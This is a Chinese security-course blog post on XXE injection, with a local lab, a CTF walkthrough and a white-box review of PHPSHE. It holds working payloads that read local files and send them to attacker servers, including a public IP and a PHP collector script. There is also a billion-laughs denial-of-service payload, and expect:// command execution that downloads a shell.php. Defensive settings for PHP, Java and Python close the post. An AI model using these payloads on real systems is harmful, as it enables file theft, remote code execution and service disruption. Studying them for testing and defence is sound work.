安全漏洞利用第59天:漏洞利用-XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘
Yatming的博客XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML与HTML对比
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
- HTML旨在显示信息,而XML旨在传输信息。
不同协议支持的在xml这里支持的不一样:

XXE本地靶场


通过抓包发现传输数据包的格式是xml
的格式。
那么还可以通过burp自带的扫描方式进行xml格式的搜索:


常用的Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| 参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
1、读取文件: <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/1.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user>
1.1、带外测试: <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user>
2、外部引用实体dtd: <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd: <!ENTITY send SYSTEM "file:///d:/e.txt">
3、无回显读文件 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/e.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root>
test.dtd: <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
4、其他玩法(协议)-见参考地址
|
有回显的注入
这里使用有回显的payload:
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/test.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user>
php://filter/read=convert.base64-encode/resource=flag.php
|
但是需要注意被读的文件里面不能有特殊符号,或者空格,否则会报错,那么怎么读取有这些字符的呢?使用另外的伪协议。


通过Base64的方式进行读取
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../../../test.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user>
#这个还可以使用绝对路径,但是需要知道对方有什么文件
|

1 2 3 4 5
| <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user>
|


什么情况下进行xml的测试
查看数据包的结构,以及对应的格式(Content-Type
):

在实战的过程中,不可能会查看到每个数据包的格式,那么可以使用burp进行数据包的筛选。

判断对方有无回显
根据对方的返回包进行判断,比如这个本地靶场

不管这里是否登陆成功,都会显示这个用户名,然后修改这个用户名:

返回包同样跟着进行更改。
对方如果不回显呢?
1 2 3 4 5
| 1、使用dnslog带外,或者使用云服务器在上面开启一个python的http服务,然后让目标进行访问就行。 2、直接打外部实体的payload,有就是有,没有就要从几方面入手: 1、真的没有这个漏洞 2、你的语法有问题 3、无回显
|
dnslog带外
1 2 3 4 5 6
| ##payload <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "http://zkbr95.dnslog.cn"> ]> <user><username>&test;</username><password>Mikasa</password></user>
|

使用python搭建http服务,进行带外测试


外部实体payload
可以理解为就是将恶意的xml语句(dtd文件
)写在了外部,然后让目标机器去访问这个文件就可以执行这个文件内的内容。
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/test.txt"> <!ENTITY % remote SYSTEM "http://10.20.0.5/test.dtd"> %remote; %all; ]> <root>&send;</root>
|
test.dtd
1
| <!ENTITY % all "<!ENTITY send SYSTEM 'http://10.20.0.5/get.php?file=%file;'>">
|
Get.php
1 2 3 4 5 6
| <?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>
|

在远程服务器上创建这两个文件。然后在执行就可以看到生成了对应file.txt
这个文件里面的内容就是目标服务器上的test.txt
的内容
通过Base64的方式进行读取
不过这里还有一个和回显同样的问题,就是如果内容里面有特殊字符,这里是读取不了的,所以就是换一种方式进行读取:
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt"> <!ENTITY % remote SYSTEM "http://10.20.0.5/test.dtd"> %remote; %all; ]> <root>&send;</root>
test.dtd: <!ENTITY % all "<!ENTITY send SYSTEM 'http://10.20.0.5/get.php?file=%file;'>">
|

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

抓包分析是json的格式
文件类型:content-type:application/json
更改content-type值查看返回
- 将文件类型修改为:content-type:application/XML
- 将post的数据修改为XML格式
1 2 3 4 5 6
| <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <x>&xxe;</x>
|

那么这里是怎么判断是可以用xml格式的呢?

前端代码中有对XML格式的数据进行接收,所以猜测后端有对应的接收逻辑。
PHPSHE白盒分析

从白盒的角度主要有两个思路:
1 2
| 第一种:直接找危险函数 第二种:找对应的功能点,看URL路径,找到对应代码
|

搜索关键字

发现是上图这个函数对这个 关键字进行引用,然后ctrl+鼠标单击,跟进:

发现是wechat_getxml
对他进行了引用。在跟进:

这里有个要注意的点就是:php版本不能太高,我用php7.2死活没有dnslog记录。我切换到php5.3才行。

1 2 3 4 5 6
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://yt1fvt.dnslog.cn"> %file; ]> <root>&send;</root>
|

其他技巧
billion laughs复现(拒绝服务)
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
|
测试之后,感觉一点用也没有。
如果要执行带有空格的命令,可以使用:$IFS''
代替空格(仅限LInux)
1 2 3 4
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY Fsec.io SYSTEM "expect://cat$IFS'/etc/passwd'" >]> <creds>&Fsec.io;</creds>
|
拿shell:
1 2 3 4
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY Fsec.io SYSTEM "expect://curl$IFS-O$IFS'192.168.11.241/shell.php'" >]> <creds>&Fsec.io;</creds>
|
使用CDATA
CDATA中的所有字符都会被当做元素字符数据的常量部分,而不是xml标记
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///var/www/html/yatming.php"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://192.168.11.241/test.dtd"> %dtd; ]> <roottag>&all;</roottag>
|
外部 DTD 文件
1 2
| <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
|
防御方案
1.方案 1-禁用外部实体
—PHP:
1
| libxml_disable_entity_loader(true);
|
—JAVA:
1
| DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
|
—Python:
1
| from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|
2.方案 2-过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC(这里可以用加密绕过)
3.方案3—装WAF产品
附录
